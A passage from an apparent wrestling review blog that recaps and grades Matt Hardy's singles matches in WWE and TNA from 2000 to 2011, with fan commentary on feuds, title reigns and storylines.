Rating: C. This was good albeit rather short. Both guys got to show off a bit but people were waiting on the big tag match. The singles matches were just filling in time and that’s the good thing about feuds between teams: there are a bunch of matches that you can throw together to keep the big match fresh.

We’ll jump ahead another year to Smackdown on December 28, 2000.

Matt Hardy vs. Chris Benoit

Hardy charges to the ring to get things going and quickly sends Benoit outside for a big dive from the top rope. Back in and Matt gets two off a legdrop but Benoit goes after the ribs to take over. A stiff right hand drops Matt but he grabs a small package for two. Benoit nails the release German suplex for two more as Hardy is in big trouble.

The Swan Dive misses and Matt plants him with a DDT for two. The middle rope legdrop gets the same and it’s Twist of Fate time. Benoit quickly counters into a Crossface attempt but it’s right in front of the ropes. Matt sends him shoulder first into the post for two but Chris counters a tornado DDT into the Crossface for the submission.

Rating: C-. This was a nice back and forth match with both guys hitting each other very hard. At the end of the day though there was no way that Benoit was losing to a guy like Matt Hardy in a singles match in 2000. Matt would get better, though it would be a long way to go before he got there.

Matt would pick up the European Title on Smackdown in early 2001. Here’s a defense from Raw on April 30, 2001.

European Title: Edge vs. Matt Hardy

Matt grabs a neckbreaker for a fast two but a superplex is countered into a crotching. Out to the floor and Edge rams Matt’s head into the railing a few times. Matt rolls through a top rope cross body for two and grabs a DDT to put Edge down. The fans are really into this. The middle rope leg gets no count as Christian pops up on the apron. Jeff takes him down but Edge hits a spear. Jeff knocks Christian into the referee’s feet to break up the pin and Edge yells at Christian. Matt hits the Twist of Fate to retain.

Rating: C. It’s always worth seeing any combination of these teams working together because the matches were always at least passable. Edge vs. Christian was coming and would really be pushed forward by Edge winning the King of the Ring in a few months. This was just a quick match but the difference between Matt here and Matt at any time past about 2006 is remarkable.

Jeff Hardy would lose the Hardcore Title to the Alliance’s Rob Van Dam at InVasion. Here’s Matt trying to bring it back to the family on Raw, July 23, 2001.

Hardcore Title: Rob Van Dam vs. Matt Hardy

Matt hits a baseball slide to RVD as he makes his entrance. He sends Rob into the post and we head back in. There’s a ladder but Rob knocks it to the floor and hits Rolling Thunder for two. He brings the ladder back in and puts it almost in the middle of the ring. Rob goes up but Matt climbs as well and hip tosses him down where Van Dam lands on his leg. Matt climbs again (remember that it’s not a ladder match) and drops a leg for two. Matt sandwiches him between the ladder but Rob kicks him low. There goes the referee and Van Dam splashes the ladder onto Matt onto the ladder for the pin. Why shove the referee?

Rating: C. Not bad here but it’s so fast that the ladder didn’t mean a ton. The Jeff match the previous night where Rob got the title was far better as they had a great spotfest which is what these matches should be about. This was fine but after last night’s, it comes up pretty far short.

Another European Title defense from Raw on August 20, 2001.

European Title: Christian vs. Matt Hardy

Christian makes fun of the Sacramento Kings before the match because he’s turning heel soon. Lita still has a bad leg. Christian jumps the champ to start which doesn’t work that well. Matt is sent to the floor but is back in quickly for more punching. Matt hits a clothesline and escapes the Unprettier. Twist is countered and Christian gets a rollup with his feet on the ropes for two. Reverse DDT gets two. Unprettier is countered into the Twist for Matt to retain. This was nothing again.

It had to happen eventually. From Vengeance 2001.

Jeff Hardy vs. Matt Hardy

Lita is guest referee here of course. Dang she looked great back then. Jeff has that stupid hat on like he used to wear back then for no explained reason. The fans like Lita more than anyone else. I can’t blame them as this was just a few steps ahead of Cryme Tyme exploding. This works SO much better as face vs. face rather than face vs. heel like they were trying to do last year at Mania.

The psychology is here too as you have two guys that know each other very well and keep countering each others’ signature stuff. The main thing here though is Lita as she’s dating Matt but is being fair. It’s a nice aspect to it that adds tension and fits the storyline perfectly. Jeff gets a nice counter to avoid being powerbombed onto the floor. Sloppy, but it was intelligent at least. Jeff hurts his leg getting back in and Matt goes for it. This is very basic but it’s coming off quite well.

Matt is clearly the heel in this as he won’t let go of a half crab when Jeff is in the ropes, I guess assuming Lita would never DQ him. Crowd likes Jeff more. I’m stunned too. Jeff blocks a Twist of Fate with that leg drop he would do at times. The killer instinct isn’t here again just like last time though. They keep countering the Twist of Fate which makes sense. Maybe it could have something to do with standing there in that position and the other guy shouting before doing it.

That would give me a hint as to what was coming if nothing else. Matt is kind of hinting at full heel here and it’s working fairly well. He’s about 40lbs lighter here also. Twist of Fate off the second rope is blocked and Jeff gets the Swanton for the clean pin. This was just missing something and I think it was the full hatred. That and this wasn’t a huge match yet, although it was getting close.

Rating: B-. Not terrible and WAY better than the Mania 25 match. This was far more ground based and it came off pretty well. It’s no classic by any means, but it’s certainly a passable match. Matt flirting with going heel worked. And then they were all fine and good at the Rumble so none of that mattered.

The Hardys would be split up due to the Brand Split so it’s time for some regular singles stuff. Here he is in a falls count anywhere match on Smackdown, October 3, 2002.

Matt Hardy vs. Undertaker

The big man hammers him down in the corner to start. He follows up with the apron legdrop and the beating heads outside with Undertaker in full control. Matt low blows his way out of a chokeslam through the table but Undertaker shoves him off to escape the Twist of Fate. A clothesline puts Matt in the crowd and Undetaker slowly punches him back towards the stage.

They fight into the back with Matt being thrown into various metal objects. Hardy tries to run but gets caught in a dead end. He climbs up a cage wall, allowing Brock Lesnar to sneak attack Undertaker. That’s fine with Big Evil who knocks Lesnar back, only to get jumped by Hardy. Brock hits an F5 onto some bags to give Matt the pin.

Rating: D+. This was an angle disguised as a match. Matt was in way over his head at this point and got destroyed for most of the time. Brock vs. Undertaker was a pretty solid feud so at least Matt was used as a pawn in something interesting. The wrestling wasn’t much here but at least it didn’t drag.

Matt would set his sights on the Cruiserweight Title and get his shot at No Way Out 2003.

Cruiserweight Title: Billy Kidman vs. Matt Hardy

Since this is the Mattitude Era, here are the Matt Facts: Matt dislikes snow and ice and Matt takes hot tea with milk and sweetener. I love that. This is during the Matt wants to be a Cruiserweight so he’s constantly exercising and trying to lose weight since he’s a natural heavyweight wrestler.

Kidman hits a Frankensteiner so Cole calls it a leg scissors, naturally just seconds after a Scott Steiner reference by Taz. Do I even need to make fun of this? Kidman gets sent back first into the post as it’s all Matt here. Taz talks about banana juice and nut butter. Well of course he does.

It amuses me that Matt, one of the biggest high fliers of the Attitude Era, is now a ground guy according to this. And now back to banana juice as I think I’m getting the joke. Yeah banana juice (called BJ by Taz) and nut butter. Yeah I get it. In a rather impressive spot Matt goes for a half crab but Kidman does a one leg nip up and hits an enziguri to take over.

BK Bomb gets two. Second rope leg drop for Matt gets two. The match isn’t much as the title means nothing but they’re trying at least. These random title matches, much like the tag matches, mean nothing though but who cares? Plancha by Kidman takes out Matt. Twist of Fate is blocked as Shannon gets on the apron, allowing a Side Effect to get two.

Shooting Star Press misses and there’s the Twist of Fate for a VERY close two. I thought it was over there actually and this is the second time I’ve watched this show tonight since I accidently closed the file without saving it. Matt gets a Twist of Fate from the middle rope with the help of Shannon to give him the title. Nice spot to end it.

Rating: C. Nothing that special here but it was ok. Matt’s title reign was far more interesting as he had a story to it rather than “random guy starts winning matches and wins a non-title match before the PPV” like always. Well that and Rey started going after the title too. This wasn’t bad at all though.

Here’s the biggest match of Matt’s reign. From Wrestlemania XIX.

Cruiserweight Title: Rey Mysterio vs. Matt Hardy

Matt is defending and this is during his Matt Hardy Version 1 period. In other words, he was completely self obsessed and had factoids popping up on screen during his entrance (Matt is appearing in his 4th Wrestlemania, Matt often wonders how they did Wrestlemania without him, Matt strongly dislikes mustard etc). He also has Shannon Moore as his Mattitude Follower (MF’er). Matt tries to speed things up to start but Rey backdrops him to the apron and adds a fast headscissors to take over. Oh and Rey is starting the “dress up like a superhero at Wrestlemania” thing here by wearing a Daredevil themed mask.

Rey loads up a sunset bomb to the floor but Moore makes another save. The champion takes over with a shot to the ribs for two back inside before hitting a Ricochet (kind of side slam) for two. Rey jumps into a kick to the ribs but still counters the Twist of Fate into a rollup for two. The Side Effect gets two for the champion and it’s off to a bow and arrow hold.

That doesn’t last long so Matt tries a shoulder into the corner, only to go shoulder first into the post. Rey hits a springboard seated senton and a tornado DDT for two each but Moore breaks up the 619. Twist of Fate gets two and Hardy is getting frustrated. Matt loads up a superplex but gets countered into a rana out of the corner for two. Moore tries to interfere again but Hardy is rammed into him instead, allowing Rey to hit the 619. The West Coast Pop is ducked though and Matt rolls him up with a handful of ropes to retain.

Rating: C+. This felt like it ended out of nowhere which isn’t the right way to end a match like this. Mysterio was brand new and WAY over at this point, so not giving him the title here was kind of a headscratching move. Rey would win the title from Hardy, although it wouldn’t be for another three months. The match itself was still pretty solid stuff though with both guys moving all over the place and Matt using enough power moves to counter Rey while still being fast enough to be a cruiserweight if that makes sense.

After a pretty uneventful year, Matt would have to deal with the monster Kane who wanted Lita for himself. This led to a No DQ match at Vengeance 2004.

Matt Hardy vs. Kane

It’s no DQ here. No count out either according to JR. Kane’s music ROCKED back in the day. Matt gets a NICE pop. He always had that potential to be something big but they kept botching it. This is pure soap opera and it works great. They’re not sure who the baby belongs to here so that’s a major factor in this. JR says if Kane wants kids he should get married and do it the right way. That’s just amusing.

I’ve always loved that huge clothesline he’d hit off the top. To be fair though, Kane has always been one of my favorites. They’ve been in the ring maybe 45 seconds and we’re over five minutes into this. That fits though as it’s supposed to be a really serious feud so I’m fine with it. Kane gets tied up in the ropes and Matt goes OFF on him. Tombstone is countered into a Twist of Fate for two. A bad chokeslam hits on Matt as we’re waiting on Lita to get here.

Ah here she is. She bounces down to the ring and distracts Kane while he picks up the steps. Matt blasts the steps with a chair so they hit him in the head for the pin. I liked this more than I thought I would, but their Summerslam match was much better.

Rating: B-. This is one of those matches where you have to consider the angle. This was sloppy and far more of a brawl than a traditional match, but that’s what it was supposed be. This came off as a big fight like it was supposed to be and I was into it. There’s some likely bias there but who cares? This worked pretty well I thought though and I liked it a lot more than most would.

Matt and Kane would have a final showdown at Summerslam 2004 in a Till Death Do Us Part match.

Matt Hardy vs. Kane

We get to see Lita in something resembling a dress which is a rare visual. This is called a Til Death Do Us Part match which I guess is similar to the Love Her Or Leave Her match in 1999, but I’m pretty sure it’s a standard one on one match. Matt jumps Kane from the opening bell and hits a running clothesline in the corner. The Side Effect gets two and kane is sent to the apron. A middle rope Fameasser brings Kane back inside and a nearly botched tornado DDT gets two.

Matt pounds on Kane in the corner as this is completely one sided so far. As soon as I say that, Kane comes back with a huge uppercut to lay Matt out. Kane chokes away both on the mat and in the corner before staring at Lita. Kane misses a charge and gets low bridged to the floor so Matt can hit a big dive. A Twist of Fate on the floor has Kane in trouble but there’s no count on the floor. Kane sits up and gets back in at nine so Matt goes back to the stomping.

Lita slides in the ring bell and distracts the referee long enough for Matt to knock Kane silly for two. Back up and Hardy has to fight out of a chokeslam bid but gets caught by a big boot to the face. Kane goes up top but gets crotched, sending Matt up for a top rope DDT. You don’t go up top with Kane though as he grabs Matt by the throat and a top rope chokeslam is good for the pin.

Rating: C. This was short but fun while it lasted. Matt was working hard out there but he was just up against too much. The top rope chokeslam looked good too with Matt bouncing off the canvas. Kane was good as a ruthless monster like this and the evil smiles helped a lot. Lita’s early heel days were fun give what was coming for her in the coming years.

Matt would leave the company for about a year before returning for a feud built around real life animosity with Edge over Edge stealing Lita. This led to a showdown at Summerslam 2005.

Edge vs. Matt Hardy

This is during Lita’s heel phase and DANG does it work for her. The fight starts on the floor with Matt in control before heading inside for a bell. Hardy grabs a choke but Edge gets into the ropes. Back to the floor for a bit before Edge gets in a right hand inside to take over. Edge spears him off the apron and out to the floor in the spot made much more famous against Mick Foley.

Back in and Matt hits some HARD lefts and rights before going into the corner to rain them down. Edge steps forward and drops Matt face first on the post (with Matt clearly pulling himself forward to hit it correctly), busting Hardy open. Edge goes after the cut….and the match is stopped in less than five minutes. We get a good shot of Matt’s head and the cut is shown to be just a step above nothing, making this ridiculous. I’m guessing the idea was due to a head injury (not a real one mind you) but it makes Matt look like a complete joke.

Rating: C+. This was fun while it lasted but the length and ending crippled it. Matt was on fire coming in but he would be made to look like the jobbiest jobber of all time during the feud with Edge. Eventually Edge would send him to Raw and keep Lita, ultimately winning the world title in a few months. This was more or less it for Matt as far as being a big deal.

Here’s a rematch in a cage at Unforgiven 2005.

Matt Hardy vs. Edge

This is a cage match. You can win by pin, submission or escape. Edge is Mr. Money in the Bank at the moment. They lock it up to start and slug it out with Edge almost going into the cage. Edge takes over with right hands and this feels epic. He goes for the top of the cage quickly but Matt makes the save. Edge goes for the door but Matt takes him down and hooks a headlock. In a cage match?

Edge takes over with a bunch of right hands and Matt is in trouble. Another escape attempt fails and a clothesline puts Edge down. Twist of Fate is countered into the Edge-O-Matic for two. Escape attempt #4 in less than 5 minutes doesn’t work and Matt almost hits a Side Effect from the top rope. Instead Matt is shoved off and a missile dropkick puts Matt down. The idea is that in their previous match at Summerslam, Matt took so many shots to the head that he couldn’t continue.

Edge works on the back of the head and mocks Matt with the V.1 hand sign. Matt looks out of it but that’s a normal day for him so maybe there isn’t much to worry about. There’s a DDT and Matt is in trouble. Edge powerbombs him into the cage and then drops him on his back. This is domination at this point. There’s a Buckle Bomb and Matt looks like he ate some bad fish. Edge adds a big boot and Matt is looking a little dead.

Matt gets in a shot and tries for a quick escape, but gets caught in a top rope powerbomb to kill him even further. This has been a great beating so far. Edge crawls over for two and the fans are shocked. Matt tries whatever he can think of, this time in the form of biting the hands of Edge. Gee Matt I know you like eating but come on now. Matt drops him on the top buckle and dodges a spear, sending Edge into the middle rope. A Side Effect gets two.

Edge goes again but Matt saves one more time. Lita slides in the briefcase but Matt ducks and Edge is tied in the ropes. Matt GOES OFF and the fans erupt. There’s a slingshot into the cage and there’s a bulldog onto the case. Edge gets rammed into all four sides of the cage and is busted open. Lita tries to climb in and Matt shoves her off to the floor. The blood is flowing out of Edge.

Matt picks up the MITB case and goes up but Edge shoves the referee into Matt to crotch him. A spear puts Matt down and Edge climbs. Matt pops up and hits a HUGE Side Effect off the top to put them both down. Lita tries to get in with a chair but Jack Doan keeps her out. Matt covers but Lita comes in anyway and breaks things up.

With Edge down, Matt gets the big shot in on Lita with a Twist of Fate. Edge pops up with a spear for two and the place goes NUTS. Edge goes up but Matt makes the save. He climbs to the top and like a true Hardy, gets way too high and messes up his push while blaming everyone from his employer to his butcher for his problems.. Or he drops a leg on Edge from the top of the page to pin him. You pick which it really was.

Rating: A. Like I said, it’s Matt’s best match ever. By that I mean it’s his best match ever, not the best match he’s ever been in (translation: TLC 2 doesn’t count because it was a tag match). Great storytelling here but it still wasn’t the blowoff as they had a ladder match on Raw with the loser being sent to Smackdown. If this had ended it though, Matt would have been a world title contender.

Since I’m a nice guy, here’s that match.

Edge vs. Matt Hardy

Winner gets the MITB case, the loser leaves Raw. Lita is looking extra great tonight. That’s not a complaint. Edge jumps Matt as he comes through the entrance and sprints up the ladder. It doesn’t work but it was a nice try. Matt turns the ladder upside down and puts Edge in it. He tries to close it which can’t feel good. Edge finally escapes and sends Matt into the ladder.

Edge suplexes him onto the ladder and goes climbing. Matt makes the save but his climb fails also. Edge puts a ladder on the top rope and Matt is sent face first into it. Here’s ladder #2 but Edge takes too long setting it up. Edge gets rammed into it but Matt gets suplexed onto it. There’s the climb but Matt saves and throws Edge into the ladder on the corner. Edge stumbles backwards to knock Matt’s ladder down as we go to a break.

Back with Edge’s suplex attempt through a table being broken up. Matt rams Edge with another ladder to put him in the crowd. Hardy dives into the crowd and the fans are loving this. Matt goes to powerbomb Lita through the table but Edge saves via a kendo stick show. Edge splashes Matt through the table and this is solid stuff again. Edge slowly climbs but Matt gets back in and hits a Twist of Fate off the ladder.

Lita kendo sticks Matt’s leg to break up his attempt so Matt rams her into the buckle. Matt goes up again but Lita pulls the ladder away so he’s just hanging there. Edge drops him onto the ropes and ties him into them. Lita holds his arms there as well in a crucifix position. Edge easily wins.

Rating: B. I’ve always liked this match. These two had a real life issue which made the matches that much more intense. Matt would go to Smackdown and wouldn’t really do anything for awhile while Edge would win his first world title in about three months by cashing in MITB. Can we just look at Lita in those shorts for a little longer?

Matt would get in a long feud with Gregory Helms, including this match at No Mercy 2006.

Matt Hardy vs. Gregory Helms

This feud went on for a long time. Both guys are from North Carolina so there really isn’t a crowd favorite. Helms is the Cruiserweight Champion so facing a heavyweight is supposed to be a big deal for him. Helms literally is the hometown boy as he’s billed from Raleigh. He won the first match via a low blow and Matt won the second one the same way. Matt uses his weight to take him down with a shoulder and they stare at each other.

Helms goes after the arm which doesn’t work but the second attempt works. A kick to the back gives Helms the advantage and by shouting THIS IS MY HOUSE, he becomes the crowd favorite. Matt comes back with a suplex and clotheslines Helms to the floor. Pescado follows up and Cole screws up by saying TLC 2 was six years ago in this build. Back in and Matt gets dropped on the top buckle and a backbreaker gets two.

Something like a Codebreaker gets the same. Off to an arm trap chinlock but Matt fights up and hits a reverse DDT for two. They slug it out and Matt clotheslines him down for two. Middle rope legdrop gets two. Twist of Fate is loaded up but Helms counters with a weird belly to belly suplex/Eye of the Hurricane combo for two. He hits the same move again and gets the same result. A third one lets him go to the top but he jumps into a punch.

Side Effect gets two. Another Side Effect hits and a release Rock Bottom sets up the moonsault but it lands on knees. Shining Wizard misses but a second attempt hits for two. This is getting really good. Hardy goes up but gets crotched, allowing Helms to hit some weird kick off the top which looked like it missed. That only gets two so Helms tries the Eye of the Hurricane but Matt counters it into the Twist of Fate and it’s finally over.

Rating: B. Good opening match here with both guys showing off for their hometown crowd. It’s amazing what happens when you give guys like these two almost fifteen minutes and let them have some fun. Matt looked good and motivated which is definitely his biggest flaw most of the time. Well that and the fact that he’s insane. Good stuff.

Early 2007 didn’t have much for Matt but the latter half was a bit more eventful. Matt would start a feud with MVP but both guys would be injured, meaning there was no match for nearly eight months. They would instead engage in pizza eating contests, basketball games, and every other possible competition. Here’s their match, about six months after it should have taken place. From Backlash 2008.

US Title: Matt Hardy vs. MVP

This is the culmination of a feud that went on for almost eight months as Matt and MVP both got hurt so they had to keep waiting. We get a clip from five months ago where MVP attacked Matt’s leg. Matt returned last month to cost MVP the MITB match and tonight it’s FINALLY the blowoff. We get some big match intros and we’re ready to go. MVP goes for the knee of Hardy and Matt looks a bit ginger on it.

Hardy comes back so MVP bails to the floor. Back in and Matt takes him to the canvas with a headlock. A middle rope elbow to the back of the head gets two but MVP gets in a shot to the back to slow Hardy down. They go to the corner with MVP’s belly to back superplex being broken up. Matt’s moonsault hits knees though and the champion takes over. He works on the back/midsection which was injured as well apparently.

Off to an abdominal stretch but Matt escapes with a hip toss. He lands on MVP, meaning MVP probably has broken ribs. The champ comes back with a belly to belly for two. A clothesline finally gets Matt a breather and allows him to hit a bulldog out of the corner for two. The Playmaker is countered into the Side Effect for two. The crowd is really getting into this.

Hardy goes up but gets crotched due to a dropkick to the ropes. They go up top and Matt hits a top rope Side Effect for no cover as both guys are down. It eventually gets two as does a backslide from the champ. Matt grabs a fast rollup for two but the Twist of Fate is countered. MVP hits the Drive By (running boot to the face) and Hardy is knocked to the floor. He barely gets back in at 8 and MVP is stunned. Another boot to the face puts Matt down but a running one in the corner hits buckle, allowing Matt to hit the Twist for the pin and the title.

Rating: B-. The idea here was to give the fans something to get all fired up over and that was certainly accomplished. This feud went on forever but the ending was the perfect kind, as the fans were all behind Matt and wanted to see him end the nearly year long reign that MVP was on. Good opener here and I was getting into it by the end.

Matt would drop the title to Shelton Benjamin before heading over to ECW. Here’s his chance for the ECW Title at Unforgiven 2008.

ECW Title: Matt Hardy vs. Mark Henry vs. Finlay vs. The Miz vs. Chavo Guerrero

This is a scramble match, where you have 5 people and a 20 minute time limit. Whoever gets the last pinfall (I’m not sure if you have to pin the champion) before the time is up wins the match and the championship. The guys come in on a random draw with a new one being added every five minutes.

We’re starting with Hardy vs. The Miz and man who would have thought Miz and Henry would be the biggest stars out of this group? Miz is just a chick magnet here. You don’t have to pin the current champion (Mark Henry) to become the interim champion (best word I can think of for it). These two will fight for five minutes until someone else comes in.

Miz and Matt exchange some pinfall attempts even though they don’t really mean much at this point. The corner clothesline misses for the Chick Magnet and Matt gets a cool move in as Miz is caught in the corner and Matt pulls him out by his legs into a sitout powerbomb. It’s kind of hard to describe but basically Matt pulled him out of the air into the powerbomb. We get a history of Cameron, North Carolina which has like 600 people in it to fill time since nothing in the first 19:00 is going to mean anything.

According to Striker this is the brainchild of Pat Patterson. He also came up with the Royal Rumble so maybe this will be good. Miz hits the Reality Check but Matt falls to the floor. Eventually that gets two as Chavo is the third guy in. Ok so now it’s a triple threat for five minutes. Chavo hits a Frog Splash on Matt for the pin to become the Interim Champion very quickly. I don’t think he has to get pinned to change it but I’m not sure. Yeah it can be anyone pinning anyone so it’s like a triple threat.

Chavo busts out a rolling Liger kick of all things and then a suicide dive to further kill Miz. Everyone goes to one corner but Miz shoves them both off. He busts out a cross body to take out both guys, getting two on Hardy. Matt takes over and pops Miz with a right hand and a Side Effect to Chavo gives Matt the Interim Title. The fans are way behind Matt here and they should be.

Everyone slows down as Mark Henry comes in at #4. Everyone goes after Mark when the right answer would be to run from him. If he can’t catch you, he can’t pin you. Henry takes them all down with ease, not selling anyone like a good monster. The Slam gets the pin on Chavo to make him Interim Champion. Hardy escapes the Slam but gets knocked to the floor quickly.

Again, why does everyone go after Henry? We’ve established that you can pin anyone but wrestlers are stupid above all other things. Henry takes turns giving people bearhugs to people and finally settles on Hardy. Here’s Finlay to complete the group with five minutes to go. Finlay goes straight for Henry and actually pounds him down, getting a DDT for two. Horny slides Finlay the club and Henry is thrown to the floor after a shot with it. A Celtic Cross to Hardy makes Finlay Interim champion at 3:45 to go.

Miz comes in and takes out Finlay with a missile dropkick but walks into a Twist of Fate and Matt is champion at 3:15 to go. Henry and everyone else is back in now and Hardy starts playing defense, breaking up every possible cover. Two minutes left. Henry slams everyone in sight other than Hardy and Miz rolls up Finlay for two. Miz is cut a little bit on the forehead.

Finlay tries the Celtic Cross on Hardy but Henry breaks it up. The Slam gets two on Miz as Hardy saves again. Thirty seconds left and Hardy starts throwing people to the floor in some GREAT psychology. Everyone winds up in a pile in the corner and time runs out, making Matt the official champion.

Rating: B. Fun match here as the ending few minutes after Hardy got the Interim Title were great with him THINKING through the whole thing, knowing that he had to keep anyone from pinning anyone and finding ways to prevent that from happening. This was really fun and Matt would hold the title for awhile until Jack Swagger debuted and eventually took it from him, prompting Matt’s ill-advised heel turn.

Here’s a title defense at No Mercy 2008.

ECW Title: Mark Henry vs. Matt Hardy

Matt is defending. Tony Atlas almost trips over the ropes coming in. This gets big match intros which is a nice touch that makes it feel like an important match. Matt tries a headlock and that completely fails. Mark runs him over and punches him down before sending him into the corner. Matt finally escapes for a bit and tries a chop block. It gives him a few seconds to breathe but Henry clotheslines his head off.

Hardy goes back to the knees and they go to the floor. Henry shrugs Matt off but the champ goes back to the knee. Figure Four is countered and Henry uses the good foot for a big boot, getting two. A bottom rope Banzai Drop gets the same. Matt tries to punch back but jumps into a bearhug. Hardy quickly climbs up Henry and tries a sunset flip.

Henry blocks it but he hits the mat when he tries to sit on the champ. Side Effect gets two and the place ERUPTS. Twist of Fate is countered and the place quiets in a hurry. Splash gets a delayed two. Twist is countered into the Slam but Matt punches the knee and the Twist hits to retain.

Rating: B-. I’m stunned by the crowd reaction to this as you would think it was the main event of a major show. The place was going nuts on almost everything Hardy did like I haven’t heard since the Hardy Boys days. The David vs. Goliath stuff worked very well here as these two always had some chemistry together.

Matt would lose the ECW Title to Jack Swagger and then lose the rematch as well. He would then attack his brother Jeff at the Royal Rumble, revealing his jealousy of Jeff’s success. This led to an extreme rules match at Wrestlemania XXV.

Matt Hardy vs. Jeff Hardy

Matt now has regular tights instead of the cargo jeans. Jeff takes him down and pounds away to start before heading to the floor. A hard poster to the head doesn’t do much to Matt, presumably BECAUSE IT WAS A POSTER. The steps work a bit better and there’s Poetry in Motion against the barricade to crush Matt. Back in and Poetry in Motion hits the corner instead of Matt and the Whisper in the Wind only hits chair.

Matt chokes away on the ropes and punches away at Jeff’s head. The Side Effect onto a chair gets two so Matt bends Jeff’s back around the post. It’s table time but Jeff fights off a suplex through said table and hits a running clothesline off the apron. Jeff busts out a kendo stick and a crutch to beat on Matt’s back before putting a trashcan over Matt’s head for the slingshot dropkick for two.

There goes Jeff’s shirt but the Swanton completely misses. The Twist of Fate gets two for Matt and he’s getting frustrated. Matt calls for a Swanton but gets caught in a superplex instead for no cover. There’s a BIG chair shot to Matt’s head which sends him to the floor. Jeff lays Matt on the table before putting another table on top of that table. There’s a HUGE splash through both tables along with Matt to leave everyone laying.

Back in and that only gets two, and now it’s time for the ladders required by a Hardys match. A legdrop keeps Matt down and the ladder is set up. Make that two ladders with one being bigger than the other. Jeff climbs the small ladder and jumps over the tall ladder, only to miss his big legdrop. Matt puts Jeff’s neck in the chair for a Twist of Fate to finally end this.

Rating: B. This was a solid brawl but it would all go downhill from here. Their feud didn’t ever quite work for the most part because the audience wasn’t all that interested and Matt didn’t work as a top heel. As for this match though, they beat the tar out of each other and Matt looked violent and evil. Unfortunately he couldn’t back that up for the most part.

Matt would be in the first match of the relaunched Superstars on April 16, 2009.

Undertaker vs. Matt Hardy

This is when Matt was evil and tried to kill his brother and then got hurt to end his push again. I’m still waiting on Mattitude 2.0. For some reason I believe this was originally announced as Undertaker vs. Shelton Benjamin but they changed it for reasons I don’t remember. Matt gets his head taken off by a right hand to the jaw and the fight heads outside. Undertaker whips him hard into the barricade as this is one sided so far. Back in and Old School connects, sending us to a break.

Back with Undertaker still dominating and getting two after snapping Matt’s neck across the top rope. Hardy escapes the chokeslam and hits a neckbreaker before hammering away. This is right after Wrestlemania XXV so Undertaker’s neck is still messed up after botching the Taker Dive. Undertaker shrugs it off and nails even more right hands to put Matt in the ropes. A chokeslam off the apron is countered with a jawbreaker to give Hardy two.

Off to a front facelock on Undertaker but the big man casually gets to his feet. That’s fine with Matt as he jumps onto Undertaker to crank on the facelock even more. Undertaker shoves him off and scores with a big boot for two. Another big boot and legdrop get two on Matt but Hardy wisely heads outside to avoid another chokeslam attempt. He grabs a chair but just stays on the floor to take the countout. Pretty lame ending.

Rating: C-. Not a bad match but man alive, Matt won’t job to THE UNDERTAKER? I know Matt is a rising star at this point but I don’t think losing to one of the biggest legends on the roster is going to kill his push all that badly. The match was nothing too bad but the ending brings it down a good bit.

One more WWE match, from September 4, 2009 on Smackdown.

CM Punk vs. Matt Hardy

Non-title here. Matt goes right after him and Punk bails to the floor almost immediately. Back in and Punk gets rammed into the buckle a few times and clotheslined down for no cover. This is Matt’s return match from an injury apparently. Punk gets the not too bright Matt to chase him around the ring and the champ gets in some shots, only to get caught in a swinging neckbreaker for no cover again. That makes sense as Matt is here for revenge, not a quick win.

The Side Effect is countered and Punk goes up, only to get superplexed back down. This has been almost all Matt so far. Punk drapes Matt over the top rope and knocks him to the floor as we take a break. Back with Matt caught in an abdominal stretch and Punk firing off kicks to the bad ribs. Off to a body vice followed by a whip into the corner for two. Punk fires off his strikes and the champ is in full control.

Matt tries to fight back but gets rammed into the buckle to slow him right back down again. Back to the abdominal stretch which is Punk trying to prove that he’s a master of submissions. Matt counters with a kind of Samoan Drop for two and avoids a charge, sending Punk’s shoulder into the post. A bulldog gets two for Matt as does a middle rope legdrop to the back of the head.

Twist of Fate is countered but Matt gets two off a small package instead. The high kick gets two for the champ and Punk is frustrated. Punk tries a springboard clothesline but gets caught in a Side Effect for two. They head to the floor and Matt jumps into a kick to the ribs to put Punk right back in control. Punk grabs a chair to blast Hardy in the ribs and back, which somehow doesn’t draw a DQ. Punk wraps the chair around Matt’s throat…..and the lights go out. The match ends here for all intents and purposes.

Rating: B-. I was getting into this at the end, even though you knew Taker would be involved somehow. To be fair though, the match could have ended before he showed up so it wasn’t a lock that it would end out in a no contest. Matt was game here and the story wrote itself given the issues with Jeff lately. Matt was always on the brink of jumping forward and then always started being crazy again.

Matt would go to TNA after a fairly muddy exit from WWE. One of his first matches was at Genesis 2011.

Rob Van Dam vs. ???

And of course it’s Matt Hardy with dreadlocks. He still has a gut but it’s not as bad now. After some basic back and forth stuff RVD hits a moonsault to the outside for two. Big crossbody gets two. Tenay tells us that Genesis 2011 is trending on Twitter at the moment. To no one’s shock, that’s nonsense. Matt drops the back of Van Dam’s head into the buckle to take over.

Full Nelson goes on by Matt to work on the neck. GET ON WITH THIS ALREADY. Van Dam fights back and puts Hardy down. Kick and a rollup gets two. Matt has nothing on his arms and looks like he’s half ready to go. Top rope one footed dropkick puts Matt down. Rolling Thunder sets up the Five Star but Hardy’s hand is almost under the rope so they break up the pin. Twist of Hate hits RVD whose foot is out of the ring but they count the pin anyway. Of course they do.

Rating: C. Not a terrible match but at the end of the day it’s Matt Hardy: the guy that never meant anything compared to what he was supposed to be. He’s not a main event guy no matter what he or TNA wants us to think but we’ll give him a major spot on the roster anyway and a win over a guy that was champion for like four months last year. That’s TNA I guess though.

And one more from the following Impact on February 17, 2011.

Matt Hardy vs. AJ Styles

See? I told you it was next. AJ sprints to the ring in the athletic pants of doom and goes off on Matt. He busts out a huge tope con hilo to half kill Matt. Ah good he got rid of the warm-up pants and has regular tights under them. Back in the ring and Matt gets a Side Effect for two. Matt grabs a Cravate and here’s Flair to play cheerleader.

AJ gets up and seems to rub Matt’s face to take him to the mat. Styles Clash is blocked and they speed it up a bit with Matt tripping over AJ. Nice dropkick puts Matt down and AJ goes up. And then Flair shoves him off the top, naturally joining Immortal again as it was about as obvious as you could get. Twist of Hate ends it at 3:25.

Rating: C. Match was just long enough to grade but was nothing special at all. As soon as Flair was there the swerve was completely obvious. Somehow this is by far the best match of the night and it barely ran 200 seconds. That might be good though as Matt isn’t someone that can go long distance for the most part.

We’ll wrap it up there as I don’t think people are all that interested in seeing Matt Hardy’s exploits in Maryland Championship Wrestling. Matt Hardy is a guy obviously most famous as a tag wrestler but he had a solid career of his own. The problem with that is his brother had a huge career for himself and Matt kind of gets overlooked. That’s a shame too as he had some great moments of his own and has had a great career. In addition to a ton of gorgeous women and you can’t beat that.

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Wrestler of the Day – August 14: Rico

Today we’re going with someone that I’ve been a fan of for years: Rico.

